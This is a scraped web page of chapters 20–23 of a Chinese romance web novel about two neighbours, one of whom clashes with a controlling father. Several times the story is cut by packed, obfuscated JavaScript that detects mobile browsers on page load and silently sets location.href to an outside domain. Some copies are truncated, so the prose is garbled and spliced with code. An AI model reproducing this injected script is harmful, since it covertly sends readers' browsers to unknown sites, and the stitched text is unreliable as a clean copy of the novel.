p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189150|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,感觉连服务生的态度都殷切了不少。 到了家楼下,喻雪生按了按胃,感觉喝了一肚子水饱。 几块糕点水果不太管用,这会儿有种又撑又饿的奇妙感受。 早知道刚才应该再讹该隐一顿…… 喻雪生拐过花坛,正准备上楼时,突然看见前面有个熟悉的身影。 是姜察。 他眯了眯眼,停下脚步。 也不知道姜察在干嘛,像是刚出门回来,手里提着个袋子,在楼下的反腐倡廉文化墙旁边转圈儿。 面壁呢?学习呢?游戏公司还有学这个的要求? ……哦,打电话呢。 “几号啊?起码得订个时间吧。”姜察皱着眉。 “还没定下来,你爸说奶奶今年生日要好好过,不一定是生日当天,还得看亲戚们的时间……” 电话那头老妈的声音有点模糊,旁边还有水声,可能是在洗菜。 “那我怎么请假?”姜察问。 “多请两天呗,这都多久没回家了,”老妈的语气很轻松,“再说你们那个私企又不是少了你不行,也不是什么伟大事业……” 姜察叹了口气。家里两个事业编教师,对他的工作一直颇有微词。 “不是伟大事业也得提前请假,”他踢着脚下一块儿小石头,“私企也得打假条啊。” “那你连着周末一起吧,”老妈说,“看看能不能前后凑一凑。” “一周?”姜察惊得声音都提高了点。 “对,你多在家待几天,你敏敏阿姨还想跟你吃顿饭……” 姜察沉默了。 那个词怎么说来着?对,图穷匕见。 “她女儿也在你那边工作,就是那个最有名的互联网公司,你们还算半个同事。” “不去。”姜察说。 “先去看看,当交个朋友也行……” “我说不去。”姜察皱着眉说。 这句拒绝斩钉截铁,老妈那边似乎愣了一下。 过了一会儿,水流的声音停了。 “姜察,你自己在那边我们不放心,”老妈开口,“有个头疼脑热的都没人跟我们说。” 姜察没说话。 “而且你都多大了,连朋友都没谈过,”老妈继续说,“当然,我也不是催你……” “我不想。”他打断了对话。 顿了两秒,声音低下去:“我不想,你知道为什么……” 电话对面是一串长久的沉默。 电话终于挂断了。 姜察锁了屏幕,把手机放回兜里,袋子从左手换到右手。 刚刚从超市出来,打电话的时候,袋子一直拎在手上,这会儿已经勒出了一条红痕。 袋子里的速冻汤圆估计也快化了。 他叹了口气转身,准备往家走。结果一抬头……喻雪生坐在他身后不远处的健身器材上。 “嗨。”喻雪生跟他打了个招呼,笑得很灿烂。 姜察愣了愣,朝他走过去。 “你干嘛呢?”他看着喻雪生身下酷似单车的健身器。 “锻炼啊。”喻雪生掰了下扶手,座椅以一种诡异的姿势把他撑了起来。 “你……”姜察看着他有点无语,“挺有闲情雅致的。” 喻雪生没说话,姜察突然瞥见他的手,他手里正夹着根烟,已经燃了一半了。 姜察犹豫了一下,想起了袋子里化了一半的汤圆。 “回家吗?”他问喻雪生。 “好啊,”喻雪生点头,从健身器材上跳下来,“锻炼结束。” 两人一前一后地进了大厅,等着电梯。 进大厅前,喻雪生在垃圾桶旁熄了手里的烟,直到走进电梯时,姜察还能闻到一点淡淡的蓝莓香。 他看着电梯里反光的厢门,有点莫名的疲惫。 刚刚电话里老妈的话还在耳边环绕着。 ……回家。 ……不放心。 ……怎么连个朋友都没谈过? ……你们知道为什么。 21. 第 21 章 “为什么呢?” 姜察猛地回过神来。 轿厢的反光中,身后的喻雪生正盯着他的脸。 电梯运行到了14楼,门边上的红色数字无声地跳着,他错愕地转过头,跟身后的人对视。 “你刚刚问什么?”姜察看着喻雪生。 “问你游戏,”喻雪生笑了笑,“为什么挑了个漆艺主题做非遗,不挑个热门一些的。” “哦,”姜察缓过神来,点点头,“这个说来话长……” 电梯“叮”地响了一声,门开了。 姜察迈出电梯,往公寓门口走:“你感兴趣的话,改天可以跟你仔细讲讲。” 喻雪生轻轻啧了一声:“这也是工作的一部分?” “不是。”姜察无奈地笑了笑,摇头。 “真难得,”喻雪生跟在他身后,感叹,“你还有赏脸跟我纯聊天的时候。” 这人是失忆了吗,昨晚他刚陪聊了一晚上。 不过话说回来……喻雪生是什么时候出现的? 刚刚打电话的时候姜察没注意,如果喻雪生早就站在旁边了,那他又是从哪儿开始听的? “对了,”进了门,姜察把买的东西放下,“早上的事……谢谢你。” “谢什么?”喻雪生站住,“夜宿我家吗?” 姜察被噎了一下。 “这倒是不用谢,”喻雪生抱着手臂往墙上一靠,“本来就是我叫你上楼的,不过你睡眠质量是真好,怎么叫都叫不醒。” “对不起,”姜察有点尴尬,“你还……留了早餐。” 喻雪生盯着他看了一会儿,突然眯了眯眼睛,笑起来。 “怎么了?”姜察问。 “早餐的话,你也请我一顿吧。”喻雪生打了个响指,说。 “什么?”姜察愣了愣。 “甜酒蛋花和小笼包,”喻雪生掏出手机,“或者别的什么也行,我喜欢甜一点的。” “你……”姜察犹豫了一下,也掏出手机,“行,你点的是哪家店?” “谁说我要吃外卖了?”喻雪生轻轻啧了一声,“我可是要吃现做的。” …… 做饭倒不是什么过分的要求,毕竟姜察自己也经常做着吃,添双筷子添个碗的事儿。 但喻雪生那时而有时而无的边界感总让他有点应接不暇。 莫名应下了“请喻雪生吃早餐”的任务后,姜察还认真计划了一下,把颇费时力的小笼包改成了现成的煎饺、糯米藕和甜酒汤圆。 周五,快下班的时候,他给喻雪生发了条消息过去,约明早吃早饭。 【小雪花:纯吃饭多没意思,做饭带我一起?】 【小雪花:糯米藕是要提前一晚做吗?】 姜察有点无奈,计划出现了小小的变动,下了班只好匆匆离开工位,边走边在手机上订购要用的食材。 路过秋总时,秋总正对着一堆文档发呆。 “小姜哥?”秋总看见他,从文档里抬起头来,“这么早就走了?” “嗯,”姜察应了声,“你也早点。” “我也想啊……”秋总挥挥手,边叹着气边死气沉沉地趴回了办公桌上。 加班的社畜和按时下班的社畜,精神状态果然是不同的。 走出园区大门,姜察刚过了马路,身后突然传来一阵飞碟着陆般的嗡嗡声。 估计是哪来的电动汽车,跟了半天,那声音还在,他皱着眉回过头。 ——一辆黑色的特斯拉正跟在他后面。 驾驶座上的人经典酒红衬衫配墨镜,打扮像个来社畜基地视察的资本家公子哥。 “你怎么来了?”姜察有些吃惊,看着驾驶座上的人。 “太饿了,提前接一下厨师,”喻雪生摘下墨镜,“上车,你们公司这边堵车堵得厉害……” “就这两步路你接什么啊?”他都不知道该从哪儿开始吐槽了,“我自行车怎么办?” “你周末再骑回来呗,就这两步路也不远。”喻雪生笑了笑。 “纯属添乱……”姜察叹了口气,拉开副驾驶的车门。 看姜察上了车,喻雪生又戴上了墨镜,升上了车窗玻璃。 车内飘着淡淡的香水味儿,内饰很新,音乐声放得很大,动次打次震得车窗玻璃都跟着颤动。 喻雪生在路口掉过头,姜察终于忍不住皱了皱眉,伸手调低了声音。 “你这音乐风格跟艺术家真没什么关系。”他划了划屏幕,歌单里全是重金属摇滚。 “该隐的车,”喻雪生看了看显示屏,“我懒得换。” “那合理了,”姜察啧了一声。 喻雪生边打着方向盘边笑了笑。 “不过你竟然能开车,你腿……”姜察往他腿上扫了一眼。 “早没事了,”喻雪生说,“能跑能跳还不能开车么。” 姜察点点头,下意识摸了把安全带。 “放心吧,”喻雪生瞥了他一眼,勾起嘴角,“我就算作死,也没有拉着别人垫背的爱好。” 姜察转头看向窗外。 喻雪生这张嘴里说出什么他都不会惊讶,但有时候听到这么一句,还是会有点儿不舒服。 像在听什么地狱笑话。 这张口无遮拦的嘴,该隐是怎么跟他相处这么久的? 靠默契?靠过命的交情? 车开进公寓地下的停车场,姜察先下了车,站在电梯口看着喻雪生停车。 看着看着又一次感觉到了神奇——喻雪生的车技很稳,和他高调张扬的行事风格、满口的胡言乱语形成了强烈的反差。 这人身上似乎总有点奇怪的反差感,看似吊儿郎当,实则敏感又记仇;看似天天犯病,又在某些领域相当稳重。 ……看着自理能力极差,实则自理能力也极差。 煎饺和汤圆都是现成的,今晚只需要做好糯米藕。早上出门前他就把糯米泡上了,这会儿要处理的是刚送货上门的新鲜莲藕。 十分钟后,姜察看着给莲藕削皮的喻雪生,叹了口气。 “你要不还是给我吧。”他说。 “马上了,等等。”喻雪生聚精会神地操着手里的削皮刀。 “小心点,”姜察还是不放心,“削着手没事,皮削掉太多糯米就漏出去了……” 喻雪生头也不抬地哼了一声。 这个季节的藕很新鲜,一节一节又白又胖。姜察心惊胆战地看着喻雪生把莲藕皮刮下来,好几次差点削到手指。 这双能做大漆能画画能缝纫的手,轮到做饭怎么就这么没天赋? 终于削完皮,喻雪生一脸得意地递过瘦了一圈儿的莲藕。 “还行,能吃。”姜察接过来看了看,点了点头。 “是比我想象的难一点儿。”喻雪生说。 姜察笑了笑,拿过一旁沥干水的糯米,开始往坑坑洼洼的莲藕里塞。 “削皮刀和刻刀手感还是不一样,”喻雪生在旁边找了张椅子,反跨着坐下,“下次我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189151|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带工具……” “还想有下次?”姜察啧了一声,“玩一次就差不多了吧?” “怎么能叫玩呢,我可是很认真帮厨的。”喻雪生说。 “你这认真的水平跟我七八岁时候差不多,”姜察挖了勺糯米,“我家包饺子,我妈就给我揪块儿面……” “过奖了,”喻雪生笑了笑,“我连面都没玩儿过。” “当少爷也太没童年了。”姜察塞完最后一点糯米,感叹道。 塞好米的藕拿牙签固定上,再放好糖和水,就能上锅蒸了。 姜察往高压锅里摆着藕,旁边的喻雪生趴在椅背上看着他,过了一会儿,饶有兴趣地掏出手机录像。 “这有什么好录的?”姜察听见录像的快门声,抬起头。 “留念,”喻雪生举着手机,“某年某月某日,我亲手制作糯米藕……” “行吧。”姜察叹了口气,给电压力锅定上时。 也不知道留的哪门子念,镜头里压根没喻雪生的影子,只有一个被胁迫的可怜厨师。 糯米藕要煮一个小时,等候期间,喻雪生诚邀姜察上楼撸猫。 雪球依然是一副懒洋洋的模样,坐在落地窗前舔着毛,看着两个人开门进来,才不紧不慢地走过来蹭蹭裤腿,算是打个招呼。 姜察蹲下,一下一下地摸着雪球的后背。 他还挺羡慕喻雪生的生活的,有充足的时间,独立的住处,没什么经济压力,还有只猫…… 也许这样说不太好,但他也羡慕……没什么人管喻雪生。 某种意义上的“自由”。 桂花和红糖的甜香很快窜了上来,在这个两层的小套间里弥漫得到处都是。 糯米藕出锅后,还没等放凉就被切了一小块下来,红糖的颜色浸入藕肉,横截面泛着漂亮的粉红色,藕孔里塞的糯米也煮得晶莹剔透。 喻雪生夹了一片放到嘴里,眼睛都瞪大了点。 “怎么样?”姜察看着他。 “相当不错。”喻雪生点点头,把筷子递给他,“你试试。” 姜察顿了下,接过喻雪生手里的筷子,也夹了一片。 莲藕煮得软烂入味,糯米也刚刚好,也是,这种菜基本不需要什么技术含量,也很难做得难吃…… “放凉吃口感会更好,你冷藏一晚,明早拿出来配热汤。”姜察把藕放到盘子里,打算等冷了再收进保鲜盒。 旁边的喻雪生没说什么,边听边点头,但一双发亮的眼睛让姜察强烈怀疑这锅藕今晚就会被解决干净。 收拾好厨房的残局,喻雪生拿着已经装好糯米藕的盒子,准备告别回楼上。 临出门的时候,似乎有点欲言又止。 “姜察。”他想了想,开口。 “怎么了?”姜察看着他。 “明早……”喻雪生犹豫了一下,“要不算了。” “什么算了?”姜察怔了怔,“做饭吗?” “嗯,反正我也起不来,早餐就算了,”喻雪生敲敲手里的盒子,“而且我有这个。” 喻雪生抱着盒子站在门口,表情竟然有点不好意思。 姜察看着他,怀疑这人不是良心发现,更像是被夺舍了。 不过喻雪生没再说什么,跟他对视着。 “好,”过了会儿,姜察点点头,“记得配点热食……小心胃疼。” “啊。”喻雪生点点头。 “那晚安。”姜察说。 “晚安。”喻雪生笑了笑。 22. 第 22 章 ——小雪……你怎么还这么小呀? 女人拿着一只布老虎,逗着怀里的孩子。 三四岁的孩子话还说不利索,一只小手紧紧抓着女人的衣服,另一只手努力地向上方伸着。 亮晶晶的眼睛盯着那只布偶老虎。 ——小雪,你什么时候才能长大呀? 女人把老虎放到孩子的手里,声音很轻,双臂环抱住他。 她的手腕上戴了一只嵌着兰花螺钿的木镯,男孩很快被亮晶晶的镯子吸引了注意力,藕节般的小手抱住女人的小臂。 轻轻的,女人摸了摸他的头发,又贴近他的脸。 ——快长大吧,小雪。 ——妈妈真想看看你成年之后的样子…… 女人的皮肤很凉,带着隐隐的兰花香。 有什么温柔又滚烫的触感从耳侧滑过。 …… 房间里,靠墙立着一排排漆黑的金属柜子,上面摆满各种面具、模型、红的黑的嵌着铆钉的看不懂的艺术品。 房间中央是一张格格不入的工作台,足有台球桌大小,是某个公园的微缩模型。 “你得重新读大二?” 该隐皱了皱眉,直起身,手里的小镊子被他顺手搁在一栋建筑的露台上。 “嗯,时间赶得不好,”喻雪生摆弄着工作台上的迷你摩天轮,“前天学校还给我打电话让我回去办手续……哎这个竟然还能转?” “手别欠,”该隐瞪了他一眼,“弄坏你给我修?” “放心让我修就行。”喻雪生呵呵一笑,收回手站到旁边。 该隐忙着给一处屋顶上颜料,喻雪生站在一边看他。 跟该隐相处太久,他偶尔也会忘掉这人其实也有点正经事。 两人第一次见面,就是因为几年前的一场展览。署名“该隐”的哥特风殡仪馆模型带着满满的恶趣味,出于认识一下人类脑回路的多样性的目的,喻雪生结识了该隐。 到了现在,虽然该隐总说“年纪大了不做那种乱七八糟的东西”,但行业内依然有人慕名找上门,找他做些景观模型之类的。 喻雪生莫名觉得有点奇妙,不管怎么吊儿郎当,他身边这些人似乎都有认真工作认真生活的一面。 一边随心所欲一边稳步前行。 又百无聊赖地在屋里转了几圈,欣赏了一下架子上新增的“藏品”后,旁边的该隐终于看向了他。 “所以你是来干嘛的?”该隐皱了皱眉,问。 “看看你不行?”喻雪生在架子前站住,啧了声。 “你有这么好心?”该隐直起身,“不上学不工作,一大早就跑过来,谁知道闲太久了是不是来找事……” “我又不像你一把年纪,二十岁正是玩的时候。”喻雪生笑着说。 该隐翻了个白眼。 喻雪生拉了张椅子坐下,过了一会儿,看见该隐开始皱着眉满地转圈儿。 “找什么呢?”喻雪生指了指,“镊子在露台上。” 该隐沉默地从他指的露台上拿起镊子。 “哎,跟我说会儿话,”喻雪生看着他,“我昨晚梦见我妈了。” 该隐的手顿了顿。 “我都没看清她的脸,”喻雪生说,“但还能认出来是我妈……你说会不会是托梦?” “什么?”该隐愣了下。 “她忌日快到了……”喻雪生跟没事儿人一样,边摆弄着一棵刚粘上去的树边说。 该隐没说话,低头做着模型。喻雪生很少跟他讲家里的事,即使是他,也只知道喻雪生的母亲在他很小的时候就过世了。 过世的原因…… ——从三楼跳下来就这么疼了,那十三楼呢? 他还记得一年前,他刚接到喻雪生时候的表情。 “下个视频做什么?”过了一会儿,喻雪生突然问。 “已经发了?”该隐缓了缓,回过神来。 “啊,新游测评,”喻雪生点点头,“最近流量还行,我看看,要不先画点东西吧……” …… “新游测评?” 姜察的工位周边,丸子、萝卜、眼镜三人从三面围了个严严实实。屏幕上是喻雪生的视频——姜察提前看过的版本。 自从那天在喻雪生家里看过后,这还是他头一次看网站上的成片。评论区比他想象的热闹得多,有庆祝up主回归的,有讨论游戏的,还有抬杠的搞抽象的……至少不像是停更了近一年的流量。 ……姜察的工位也热闹得很。 “你们能不能回自己电脑上看?”姜察无奈地回头看着三个人。 “这不是顺便嘛,”眼镜道,“小姜哥你往回倒一点,他刚才那段我没看懂……” “都给我回去!”姜察叹了口气,把视频关掉。 三麻雀有点不情愿,叽叽喳喳地回去了,姜察揉了揉太阳穴,他这个小组长当得真是一点威慑力都没有。 视频链接是寸头发到群里的,他的消息向来没什么正事,只是一通大呼小叫“这小子女粉真多”、“怎么一男的还穿得跟cosplay似的”、“内容有点意思”…… 群里没人搭理他,秋总近期忙得要命,再往前翻半天,聊天里都没有她“已读”的标记。 姜察刚打开视频就被麻雀小队代表,这会儿才在群里回了两字——已阅。 短暂的欢脱后又各自对着电脑用功,过了几分钟,坐在他旁边的丸子突然转过头来。 “小姜哥,”丸子说,“我听他们说你跟白雪王子是邻居?” “啊?哦,是。”姜察愣了愣,乍一听这个名字差点没想起来是谁。 “你们挺熟吧?他平时什么样啊?”丸子问。 平时?姜察皱了皱眉,平时当然是一副没事找事偶尔抽风极少数状况下才恢复正常的烦人样…… 这个“极少数状况”包括做饭的那天,那天的喻雪生还是挺正常的。 “他比较随性。”想了半天,姜察这样总结了一句。 丸子还想再问,突然一个人影晃晃悠悠地走了过来,往姜察对面的工位上一坐。 小宇垂头丧气,浑身的黑气快要可视化了。 姜察愣了愣,这小子怎么了? “小宇?”丸子也看到他的样子,试探着叫了一声。 小宇慢悠悠抬起头来,过了一会儿,摆摆手,又趴下去。 “你没事吧?”姜察也有点担心。 “没事,”小宇微微抬头,苦笑了下,“就是有点困……小姜哥。” “昨晚几点睡的啊?”姜察看着他,皱了皱眉。 小宇没说话,旁边的丸子犹豫了一会儿,凑过来。 “我半夜十二点上线,还看到他在群里导表……”丸子说。 “你上线干嘛?”姜察有点奇怪,“你也加班了?” “……领员工优惠券。”丸子吐吐舌头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189152|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜察无语,转头敲了敲小宇的桌子:“今天早点下班吧,回去休息,你这样都熬坏了。” 小宇没说话,埋在桌子上,闷闷地“嗯”了一声。 丸子抬头看了一眼,也不再追问。 二十出头的年纪,天天熬大夜,也不知道他们的父母会不会心疼。 姜察偶尔也会想起自己刚上班的时候。他拒绝了老爸老妈的夺命连环call和完美人生规划,孤身一人跑到人生地不熟的城市。 在他们可以接受的“稳定生活”的框架内,尽量追求那一点点的自由。 下班的时候,姜察又敲了敲小宇的桌子,提醒他早点回去休息,小宇点了点头,没说什么。 姜察微微皱了下眉,这小子最近到底有什么急活? 明早来的时候查查周报和排期吧。 这几天他都不算太忙,出了园区,门口甚至还没开始堵车。 过马路去取自行车的时候,姜察竟然走了下神,不知道为什么,他突然想起那天的飞碟降落。 谁知道喻雪生会不会又悄无声息地开车跟在他后面。 …… “师傅,停门口就行。”喻雪生拍了拍驾驶座的靠背。 驾驶座上的人翻了个白眼给他。 “再往里就不用送了,您停这儿小心被贴条……” “你有完没完?”该隐无语,“你再啰嗦把车费给我,扫码还是现金?” 喻雪生闭了嘴,边乐边关上车门,还不忘拍了拍白色比亚迪的车顶。 该隐在一边倒车,喻雪生看着他,这财迷到底是怎么忍到现在没去跑网约车的? 不知道是不是因为过足了嘴欠的瘾,每次从该隐那里回来,他的心情都相当好。 该隐真是不错的解压小玩具。 喻雪生哼着乱七八糟的小曲儿,转身往公寓门口走,但没走两步,脚步突然顿了顿。 一辆黑色的路虎停在路对面。 半分钟后,身后正掉头的车停下了。 “喻……”该隐探出头,刚想问句怎么回事,然后立刻闭了嘴。 他也看见了路对面的车。 以及车头上的外地牌照。 “你认识?”该隐该隐下了车,站在喻雪生旁边。 “嗯,”喻雪生咬了咬嘴唇,“我爸的车。” 空气里一片寂静,该隐有些惊讶地转头看向喻雪生。 喻雪生沉默地看着那辆车,就像是在等待……等什么人从车里下来。 他怎么找过来的? 千里迢迢必然不是凑巧,那是为了干嘛? 抓他回去? ……开什么玩笑。 “喻雪生。”过了一会儿,该隐突然碰了碰他。 “嗯?”喻雪生皱着眉,回过神。 驾驶座的车门打开了,一个穿着黑西装、眉目相当凶神恶煞的男人下来,拉开了后座的门。 一个面无表情的男人从后座下了车,似乎正打着电话。 “靠,”该隐愣了愣,“你爸也太夸张了吧,这什么□□剧情?” “演给外人看的。”喻雪生冷笑了一声。 与此同时,他口袋里的手机突然震动起来。喻雪生低头掏出手机,看着屏幕上的名字,该隐的表情也有些错愕。 他深吸一口气,按下接听。 “喻雪生,”喻建州的声音在电话对面响起,“你要在那里站到什么时候?” 23. 第 23 章 你要在那里站到什么时候? 电话里只有这么一句。 然后就挂掉了。 “他叫我过去,”喻雪生皱着眉,看向旁边的该隐,“没事,你回去吧。” “你会不会被他拖上车拿绳子捆上带回去之类的?”该隐也看着他。 “你是不是电视剧看多了啊?”喻雪生啧了一声。 “你爸这一套,”该隐指了指不远处,“跟电视剧也没什么差别了。” 晚高峰时间,一辆黑色的路虎停在公寓楼门口,旁边还站着两个面色不善的人,往来住户很难不多看一眼。 这种电视剧里的反派标配,放到现实中照样没什么人敢惹。喻雪生深吸口气,只好在更多人注意到之前走过去。 该隐犹豫了一下,还是跟上了他。 要说凶恶程度,喻建州远不如给他开车门那位长得凶,顶多算个不苟言笑的中年人。 但面对面站着时,还是有种莫名的压迫感。 喻雪生和喻建州长得很像,说不上是眉眼还是具体哪里,总之两张十分相似的脸对在一起,有种微妙的违和。 走到喻建州面前,喻雪生没说话,父子俩沉默地站了一会儿,气氛逐渐尴尬起来。 “太久不见了。”喻建州终于开了口。 “嗯。”喻雪生应了声。 “你连爸都不会叫了?”喻建州问。 喻雪生皱了皱眉。 喻雪生依然没说什么,喻建州看着他,倒是没生气。 又过了会儿,喻建州竟然笑了一声:“不错,这才几个月就有脾气了。” 说罢摆了摆手,凶神恶煞的开车门大哥回到了车上。 “我就是来看看你怎么样,”喻建州说,“最近太忙,来得晚了点儿……你呢?缺钱?怎么住这种地方?” 虽然喻建州的语气里听不出情绪,但遣词造句显然不太客气。 他仰着头,慢慢踱了两步,最后在公寓大门口、离喻雪生几米的地方站定。 “跳个楼摔成哑巴了?”他转过头,看过来。 “你不是来看我的吗?”喻雪生终于开了口,“现在看完了,回吧。” “我什么时候教你这么没礼貌的。”喻建州问。 “你也没教过我什么吧。”喻雪生笑了笑,说。 “这是你……”喻建州转头看向该隐,犹豫了一下才说出口,“男朋友?” 一旁突然中枪的该隐愣了愣,下意识看了喻雪生一眼。 “跟你没关系。”喻雪生皱皱眉。 喻建州叹了口气:“你跑这么远,躲着我,就是为了乱搞?” 天有点擦黑了,这一刻起了夜风,但吹来吹去都带着闷热的暑气。 但喻雪生浑身都发着冷。 从头冷到脚。 “我乱搞,”他轻笑了一声,“至少不会像你一样搞出来孩子。” 话音落下,喻建州两步走了过来。 还没人反应过来的时候,喻建州抬起了手—— 然后突然停在了半空! 几乎是同时,喻雪生猛地被向后扯了一把。 “你……”该隐回过神来,上前一步挡在他前面,正想说两句什么,一阵叮叮当当的自行车铃突然打断了三人。 跟插播广告似的,一辆自行车“刷”地横在了路旁。 看着熟悉的人影,回过头的该隐有点发懵——这种普通买菜车是怎么骑出漂移的效果的? ……不对,突然停这儿的是姜察? 姜察其实不太想管闲事。 但就像什么诅咒,闲事总是莫名其妙撞到他头上。比如回个家能看见喻雪生该隐和□□打架,还差点动手。 ……离近了才发现这□□长得跟喻雪生简直是一个模子里刻出来的。 气氛在姜察横插一脚后尴尬到了顶峰,喻建州像是没想到还会冒出来个人,一直平淡无波的脸上终于流露出一点吃惊的神色。 “这又是谁?”喻建州问。 “……叔叔好。”姜察犹豫了一下,说。 虽然他爸看起来也就四十多岁,但论辈分叫叔叔应该也没什么问题。 “我爸。”喻雪生说。 “哦。” 姜察点点头。 “这儿跟你们没什么关系,”喻雪生皱了皱眉,看向逐渐复杂的局面和身旁的两人,“你们找个地方待着吧。” “那我……回家?”姜察跟该隐对视一眼。 该隐没说话,微微点了下头。 姜察又在喻雪生贺喻建州中间扫了几眼:“这地方最好别停车,会有交警贴罚单。” 喻建州皱了皱眉,看向他。 “对了,保安室啊警务室啊什么的都在那边,”姜察往不远处指了指,还颇有礼貌地点了点头,“您要是需要找车位的话,问问保安也行。” …… 带着该隐上了楼,姜察才重重舒了口气。 该隐坐在沙发上,一脸古怪地看着他,手里端着姜察刚刚给他倒的水。 进屋的时候脑子太乱,这会儿姜察才想起来,倒的好像还是杯热的。 “我还以为你一点儿也不紧张。”该隐说。 “什么?”姜察回过头。 “你刚刚不是还威胁他爸吗?又是警务室又是保安室的,”该隐啧了一声,“你来之前,他差点要动手了。” “啊,”姜察走到窗边,“我看见了,我还以为你会给他一拳。” “没反应过来,”该隐皱了皱眉,“连挨打的都没回过神来呢……喻雪生他爸跟他大爷的演电视剧似的。” 姜察笑了笑,没说话。 他跟该隐没见过几次面,这应该算是第一次正经聊天。不过这么聊着,竟然觉得该隐的说话风格比他的穿着风格正常得多。 正常得简直不像是喻雪生的朋友。 窗外的天已经彻底黑了。这会儿往外面看去,楼下路灯和公寓旁的装饰灯都亮了起来,往来的都是刚下班的住户。 喻雪生和他爸还在那里站着,不知道在聊什么。 “喻雪生到底怎么回事?”姜察看着楼下两个超迷你人影,问。 “什么怎么回事?”该隐问。 姜察皱了皱眉:“他爸怎么这样,他和家里关系……” “你不知道?”该隐语气相当吃惊。 “我应该知道吗?”姜察也愣了愣。 “靠,我以为他都跟你讲了,你们熟得跟什么似的,”该隐叹了口气,摸着衣兜,“他哪是跟家里关系不好……” “你要抽烟的话来窗边,里面味儿散不干净。”姜察指了指窗户附近。 该隐看了他一眼,走到窗边,靠着推开的窗缝点上烟。 淡青色的烟雾飘起来,是普通的呛人的烟草味儿,没有香精,也没有蓝莓。 他抽了口烟才继续开口。 “喻雪生是从家里跑出来的。”该隐说。 “离家出走?”姜察皱了皱眉,这不是青春期才干的事儿么。 “差不多,比那个凶残点,”该隐点头,“他爸把他关起来了,他跳楼逃跑……” “啊?”姜察震撼得愣住了。 “你别说是我说的啊,”该隐看了他一眼,“虽然知道的人不少,但他毕竟没跟你讲过。” “他腿也是因为这个?跳楼摔的?”姜察问,“不是,都成年了,为什么关他啊?” “你以为三楼很矮?只摔了腿都算命大,”该隐吸了口烟,“为什么关他倒没讲过,但可能……” 该隐顿了顿,突然噤了声。 “你自己去问吧。”过了一会儿,该隐叹了口气。 两人都沉默着没再说话,屋子里安静下来。 姜察和该隐站在窗边,看着楼下的喻雪生和他爸,过了不知多久,楼下的人影动了动,喻建州转身,上了车。 喻雪生站在原地,直到车开走,才慢慢走进公寓楼。 “他上来了。”姜察说。 “啊。”该隐熄了手里的烟,也点点头。 没几分钟,外门密码锁开锁的声音响起,脚步声停在玄关。 门口响起敲门声。 “还好吗?”该隐走过去开了门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189153|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻雪生点点头,不知道是不是错觉,他的脸白得吓人,脸色相当难看。 走进屋里,抬头看到姜察的时候,他才挤出了一个更难看的笑容。 姜察没说话,转身去厨房倒了杯水,递给他。 喻雪生坐在茶几旁的矮凳上,端着温热的水杯喝了一口。 “蜂蜜?”他问。 “嗯,”姜察说,“喝点甜的。” 喻雪生点点头,又喝了两口,过了会儿,他把杯子放到茶几上。 然后……慢慢抱住头,把脸埋在了臂弯里。 半长的头发滑下来,遮住了他的脸。虽然看不清他的表情,但逐渐的,他的背部传来一阵阵细微的抖动。 姜察和该隐站在旁边,沉默着。 姜察突然回想起另一个傍晚,楼上的倒地声、走廊里的电话、还有坐在楼梯间里的落寞的身影。 那时的喻雪生也是这样的。 很痛苦,但还是在别人的搀扶下,挣扎着站了起来。 他的头顶像是有一片永远在下雨的云,偶尔下暴雨,偶尔有雷鸣,但更多的是喻雪生轻飘飘笑着的时间。 他轻飘飘地把那些雨变成了轻飘飘的雪花,然后轻飘飘地落下。 不知道过了多久,喻雪生终于抬起头来,伸手把乱七八糟的头发向后一捋。 姜察犹豫了一下,抽了张纸给他 他的鼻尖还有点发红。 “谢谢。”喻雪生笑了笑,声音有些哑。 “你身体还行吗?”姜察问。 “嗯,”喻雪生点点头,“没事。” “或者吃点药,反正就在楼上。”该隐在一旁看着他,说。 喻雪生摇了摇头,又缓了会儿,深吸了一口气。 “喻建州让我退学,”喻雪生说,“我要是今天没碰见他,说不准他明天去学校把手续办了我都不知道。” “退学?”该隐吃了一惊。 “啊,不过没事儿,解决了,”喻雪生笑了笑,满不在乎地说,“跟他说了别管我,实在想管就等我读完大学。” 姜察皱了皱眉,按这父子两人的相处模式,肯定不是和善地约定“读完大学”这么简单。 该隐也一脸狐疑地看着他。 “你爸他人呢?”该隐问。 “回去了啊,”喻雪生耸耸肩,“他本来就是来这边办事的。” “你……”该隐皱着眉盯着他。 “你要是有什么麻烦一定跟我们说,”姜察接过话,“至少我们不是学生。” 喻雪生“嗯”地应了一声,点点头。 “别……太客气。”姜察犹豫了一下,说。 